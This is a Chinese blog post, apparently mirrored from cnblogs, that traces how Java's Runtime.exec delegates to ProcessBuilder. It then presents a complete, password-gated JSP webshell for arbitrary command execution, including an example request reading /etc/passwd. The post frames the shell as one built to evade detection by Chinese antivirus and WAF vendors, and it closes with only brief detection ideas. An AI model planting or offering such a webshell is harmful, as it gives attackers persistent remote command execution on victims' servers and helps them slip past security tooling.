zoukankan      html  css  js  c++  java
  • 浅析JAVA Runtime原理与过各大厂商免杀webshell制作

    Author:Sevck

    Date:2017年6月24日

    昨天在网络尖刀老年活动中心群里,忽然想到一个问题,就是JAVA在运行Runtime执行命令的时候会不会调用bash,因为php等语言会调用bash进行命令:

    我:JAVA在执行命令的时候会不会调用bash?
    Feng : processbuilder 我: /** * Executes the specified command and arguments in a separate process. * */ public Process exec(String cmdarray[]) throws IOException { return exec(cmdarray, null, null); } 我 : 只有 Runtime.exec("/bin/bash xxxxx")才调bash

    好奇JAVA的Runtime是如何实现的,去翻阅JAVA源码查看实现方法:

    Runtime执行实例:

    Runtime.getRuntime().exec("TODO");

    实现代码(文件代码:java/lang/Runtime.java 346 行):

    // 方法1
    public
    Process exec(String command) throws IOException { return exec(command, null, null); } // 方法2 public Process exec(String command, String[] envp) throws IOException { return exec(command, envp, null); } // 方法3 public Process exec(String command, String[] envp, File dir) throws IOException { if (command.length() == 0) throw new IllegalArgumentException("Empty command"); StringTokenizer st = new StringTokenizer(command); String[] cmdarray = new String[st.countTokens()]; for (int i = 0; st.hasMoreTokens(); i++) cmdarray[i] = st.nextToken(); return exec(cmdarray, envp, dir); } // 方法4 public Process exec(String cmdarray[]) throws IOException { return exec(cmdarray, null, null); } // 方法5 public Process exec(String[] cmdarray, String[] envp) throws IOException { return exec(cmdarray, envp, null); // 方法6 public Process exec(String[] cmdarray, String[] envp, File dir) throws IOException { return new ProcessBuilder(cmdarray) .environment(envp) .directory(dir) .start(); } }

    从上面可以看出几个重要的信息:

    1. 方法1和方法2调用的是方法3
    2. 方法3调用的是方法6
    3. 方法4和方法5调用的也是方法6
    4. 方法6创建了一个ProcessBuilder对象

    至此,是Runtime.getRuntime().exec("TODO")的实现原理,但是还是没有详细的解释清楚是如何实现的,只是说调用了ProcessBuilder类。

    ProcessBuilder是J2SE 1.5之后新增的类,此类用于创建操作系统进程,它提供一种启动和管理进程(也就是应用程序)的方法。在J2SE 1.5之前,都是由Process类处来实现进程的控制管理。

    Process和ProcessBuilder的关系:

    每个 ProcessBuilder 实例管理一个进程属性集。它的start() 方法利用这些属性创建一个新的 Process 实例。start() 方法可以从同一实例重复调用,以利用相同的或相关的属性创建新的子进程。

    ProcessBuilder为进程提供了更多的控制,例如,可以设置当前工作目录,还可以改变环境参数。而Process的功能相对来说简单的多。
    ProcessBuilder是一个final类,有两个带参数的构造方法,你可以通过构造方法来直接创建ProcessBuilder的对象。而Process是一个抽象类,一般都通过Runtime.exec()和ProcessBuilder.start()来间接创建其实例。

    ProcessBuilder:

      java.lang.ProcessBuilder,父类Object.

    源码ProcessBuilder类的注释:

    • This class is used to create operating system processes.
    • Each ProcessBuilder instance manages a collection of process attributes.
    • The start() method creates a new Process instance with those attributes.
    • The start() method can be invoked repeatedly from the same instance to create new subprocesses with identical or related attributes.

    真对该类有更详细的解释,详情请看:https://docs.oracle.com/javase/7/docs/api/java/lang/ProcessBuilder.html

    所以,在执行Runtime的时候或者执行Process再者ProcessBuilder都是在进程中执行的,所以也不会调用bash。

    除非一些webshell在调用执行命令的时候指定了bash,例如Runtime.getRuntime().exec("/bin/bash -c id");

    利用ProcessBuilder简单写一个webshell:

    <%--
      Created by IntelliJ IDEA.
      User: sevck
      Date: 2017/6/24
      Time: 10:06
      To change this template use File | Settings | File Templates.
    --%>
    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import="java.lang.Process" %>
    <html>
    <head>
        <title>jsp shell file</title>
    </head>
    
    <body>
    <%
        /*
        Use: http://127.0.0.1/shell.jsp?pwd=sevck&cmd=cat@/etc/passwd
         */
        // Verify OS Windows or Linux
        String os = System.getProperty("os.name");
        if(os.toLowerCase().startsWith("win")){
            out.print("windows");
        }else{
            out.print("Linux");
        }
        if(request.getParameter("cmd") != null && request.getParameter("pwd").equals("sevck") ){
            // Request Parameter cmd  contents conversion String to Strings args.
            String command = request.getParameter("cmd");
            String [] args = command.split("@");
            try {
                // Create Process In the process, the received parameter is an array.
                ProcessBuilder pb = new ProcessBuilder(args);
                // Setup Process Output Result (Normal and Error)
                pb.redirectErrorStream(true);
                // Start Process
                Process pro = pb.start();
            }catch (Exception e){
                // TODO
                String error =e.getMessage();
            }
        }else {
            out.print("业务测试");
        }
    %>
    </body>
    </html>
    这样,这个webshell就达到了任意命令执行:


    我们利用这个测试一下各大厂商查杀效果:
    360:

    腾讯:

    D盾:

    安全狗:

    微步在线:

    检测与遐想:
    Audit可以审计每个进程,那么Audit检测JAVA启动的进程是否为异常进程,例如:执行恶意二进制,查看修改文件等。
    或者从JVM进行监控。
  • 相关阅读:
    33、springboot——springboot整合RabbitMQ(1)②
    33、springboot——消息之JMS,AMQP简介①
    32、springboot——缓存之整合Redis
    Redis学习——2、RDB的简单相关配置及测试
    Redis学习——1、CentOS7中安装redis以及一些基本配置
    CentOS7查看及开放端口
    moment
    flex兼容性
    caniuse使用
    混合整数线性规划,图的最大流,图的匹配,求解
  • 原文地址:https://www.cnblogs.com/sevck/p/7069251.html
Copyright © 2011-2022 走看看